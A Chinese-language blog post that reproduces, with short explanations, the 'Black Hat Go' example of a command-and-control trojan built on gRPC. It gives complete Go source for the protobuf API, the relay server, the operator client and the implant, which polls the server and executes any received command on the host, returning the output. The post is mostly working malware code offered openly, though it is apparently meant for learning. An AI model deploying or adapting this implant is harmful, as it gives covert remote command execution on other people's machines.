Go黑帽子|通过gRPC构建C2木马

结构

分为RPC服务器、管理端和植入端三部分,管理端通过protoBuf协议向RPC服务器发送命令,服务器将命令转发给植入端并取回结果发送给管理端
目录结构如下:

$ tree
.
|-- client
|  |-- client.go
|-- grpcapi
|  |--implant.proto
|  |--palnt.pb.go
|-- implant
|  |-- implant.go
|-- server
|  |--server.go

gRPC原理

Google公司开发的一个高性能、开源和通用的 RPC 框架,一般使用protoBuf作为序列化协议,本例中通过proto文件定义通信双方的API和消息,在RPC服务器中实现API,客户端中只要引入proto文件,就可以远程调用服务器中的API,并在客户端和服务器间同步消息

proto文件

在proto文件中定义两个service(也就是RPC服务器提供的两个服务类),service下定义方法接口,然后声明两种消息

syntax = "proto3";
package grpcapi;
option go_package = "./";

// Implant defines our C2 API functions
service Implant {
    rpc FetchCommand (Empty) returns (Command);
    rpc SendOutput (Command) returns (Empty);
}

// Admin defines our Admin API functions
service Admin {
    rpc RunCommand (Command) returns (Command);
}

// Command defines a with both input and output fields
message Command {
    string In = 1;
    string Out = 2;
}

// Empty defines an empty message used in place of null
message Empty {
}

用以下命令将proto文件进行编译为go文件,生成新文件palnt.pb.go,包含Protobuf模式中创建的服务和消息的结构和结构体定义。后续将利用它构造服务端、植入程序和管理端。

protoc -I . implant.proto --go_out=plugins=grpc:./

RPC服务端server

实现了proto文件中的两个服务类和相关方法,并启动服务
为服务类添加了Command消息类型的通道work和output

type implantServer struct {
	work, output chan *grpcapi.Command
}

type adminServer struct {
	work, output chan *grpcapi.Command
}

NewImplantServerNewAdminServer是构造方法,确保通道正确的初始化

func NewImplantServer(work, output chan *grpcapi.Command) *implantServer {
	s := new(implantServer)
	s.work = work
	s.output = output
	return s
}

func NewAdminServer(work, output chan *grpcapi.Command) *adminServer {
	s := new(adminServer)
	s.work = work
	s.output = output
	return s
}

FetchCommand用于从通道中读出命令字符串

func (s *implantServer) FetchCommand(ctx context.Context, empty *grpcapi.Empty) (*grpcapi.Command, error) {
	var cmd = new(grpcapi.Command)
	select {
	case cmd, ok := <-s.work:
		if ok {
			return cmd, nil
		}
		return cmd, errors.New("channel closed")
	default:
		// No work
		return cmd, nil
	}
}

SendOutput用于将命令执行结果写入通道

func (s *implantServer) SendOutput(ctx context.Context, result *grpcapi.Command) (*grpcapi.Empty, error) {
	s.output <- result
	return &grpcapi.Empty{}, nil
}

RunCommand用于将命令字符串写入通道,并将执行结果从通道读出

func (s *adminServer) RunCommand(ctx context.Context, cmd *grpcapi.Command) (*grpcapi.Command, error) {
	var res *grpcapi.Command
	go func() {
		s.work <- cmd
	}()
	res = <-s.output
	return res, nil
}

完整代码如下,main函数中创建了work和output通道,用于在两个类的携程间传递值,然后通过net.Listen在相应端口监听,随后通过protoc提供的RegisterImplantServer将监听实例注册到gRPC服务器

package main

import (
	"context"
	"errors"
	"fmt"
	"log"
	"net"

	"github.com/blackhat-go/bhg/ch-14/grpcapi"
	"google.golang.org/grpc"
)

type implantServer struct {
	work, output chan *grpcapi.Command
}

type adminServer struct {
	work, output chan *grpcapi.Command
}

func NewImplantServer(work, output chan *grpcapi.Command) *implantServer {
	s := new(implantServer)
	s.work = work
	s.output = output
	return s
}

func NewAdminServer(work, output chan *grpcapi.Command) *adminServer {
	s := new(adminServer)
	s.work = work
	s.output = output
	return s
}

func (s *implantServer) FetchCommand(ctx context.Context, empty *grpcapi.Empty) (*grpcapi.Command, error) {
	var cmd = new(grpcapi.Command)
	select {
	case cmd, ok := <-s.work:
		if ok {
			return cmd, nil
		}
		return cmd, errors.New("channel closed")
	default:
		// No work
		return cmd, nil
	}
}

func (s *implantServer) SendOutput(ctx context.Context, result *grpcapi.Command) (*grpcapi.Empty, error) {
	s.output <- result
	return &grpcapi.Empty{}, nil
}

func (s *adminServer) RunCommand(ctx context.Context, cmd *grpcapi.Command) (*grpcapi.Command, error) {
	var res *grpcapi.Command
	go func() {
		s.work <- cmd
	}()
	res = <-s.output
	return res, nil
}

func main() {
	var (
		implantListener, adminListener net.Listener
		err                            error
		opts                           []grpc.ServerOption
		work, output                   chan *grpcapi.Command
	)
	work, output = make(chan *grpcapi.Command), make(chan *grpcapi.Command)
	implant := NewImplantServer(work, output)
	admin := NewAdminServer(work, output)
	if implantListener, err = net.Listen("tcp", fmt.Sprintf("localhost:%d", 4444)); err != nil {
		log.Fatal(err)
	}
	if adminListener, err = net.Listen("tcp", fmt.Sprintf("localhost:%d", 9090)); err != nil {
		log.Fatal(err)
	}
	grpcAdminServer, grpcImplantServer := grpc.NewServer(opts...), grpc.NewServer(opts...)
	grpcapi.RegisterImplantServer(grpcImplantServer, implant)
	grpcapi.RegisterAdminServer(grpcAdminServer, admin)
	go func() {
		grpcImplantServer.Serve(implantListener)
	}()
	grpcAdminServer.Serve(adminListener)
}

管理端client

通过grpc.Dial连接到RPC服务器,通过protoc提供的NewAdminClient创建管理端的client实例,通过RunCommand将命令字符串传递给服务端的work通道,并将服务端的output通道结果读出

package main

import (
	"context"
	"fmt"
	"log"
	"os"

	"github.com/blackhat-go/bhg/ch-14/grpcapi"
	"google.golang.org/grpc"
)

func main() {
	var (
		opts   []grpc.DialOption
		conn   *grpc.ClientConn
		err    error
		client grpcapi.AdminClient
	)

	opts = append(opts, grpc.WithInsecure())
	if conn, err = grpc.Dial(fmt.Sprintf("localhost:%d", 9090), opts...); err != nil {
		log.Fatal(err)
	}
	defer conn.Close()
	client = grpcapi.NewAdminClient(conn)

	var cmd = new(grpcapi.Command)
	cmd.In = os.Args[1]
	ctx := context.Background()
	cmd, err = client.RunCommand(ctx, cmd)
	if err != nil {
		log.Fatal(err)
	}
	fmt.Println(cmd.Out)
}

植入端implant

通过grpc.Dial连接到RPC服务器,通过protoc提供的NewImplantClient创建管理端的client实例,在一个循环中,通过FetchCommand从服务端的work通道读取命令,并将执行结果通过SendOutput写入服务端的output通道

package main

import (
	"context"
	"fmt"
	"log"
	"os/exec"
	"strings"
	"time"

	"github.com/blackhat-go/bhg/ch-14/grpcapi"
	"google.golang.org/grpc"
)

func main() {
	var (
		opts   []grpc.DialOption
		conn   *grpc.ClientConn
		err    error
		client grpcapi.ImplantClient
	)

	opts = append(opts, grpc.WithInsecure())
	if conn, err = grpc.Dial(fmt.Sprintf("localhost:%d", 4444), opts...); err != nil {
		log.Fatal(err)
	}
	defer conn.Close()
	client = grpcapi.NewImplantClient(conn)

	ctx := context.Background()
	for {
		var req = new(grpcapi.Empty)
		cmd, err := client.FetchCommand(ctx, req)
		if err != nil {
			log.Fatal(err)
		}
		if cmd.In == "" {
			// No work
			time.Sleep(3 * time.Second)
			continue
		}

		tokens := strings.Split(cmd.In, " ")
		var c *exec.Cmd
		if len(tokens) == 1 {
			c = exec.Command(tokens[0])
		} else {
			c = exec.Command(tokens[0], tokens[1:]...)
		}
		buf, err := c.CombinedOutput()
		if err != nil {
			cmd.Out = err.Error()
		}
		cmd.Out += string(buf)
		client.SendOutput(ctx, cmd)
	}
}
posted @ 2024-06-14 15:36  z5onk0  阅读(19)  评论(0编辑  收藏  举报